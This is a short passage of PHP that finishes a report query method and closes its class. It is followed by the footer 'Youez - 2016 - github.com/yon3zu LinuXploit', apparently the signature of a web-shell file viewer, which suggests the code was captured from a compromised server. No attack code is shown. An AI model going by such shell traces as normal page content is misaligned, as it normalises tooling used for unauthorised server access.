			{$subsite_sql}
			LIMIT {$this->table_limit}",
			$this->get_report_start_date(),
			$this->get_report_end_date()
		);

		return $this->database->get_results( $query, ARRAY_A );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit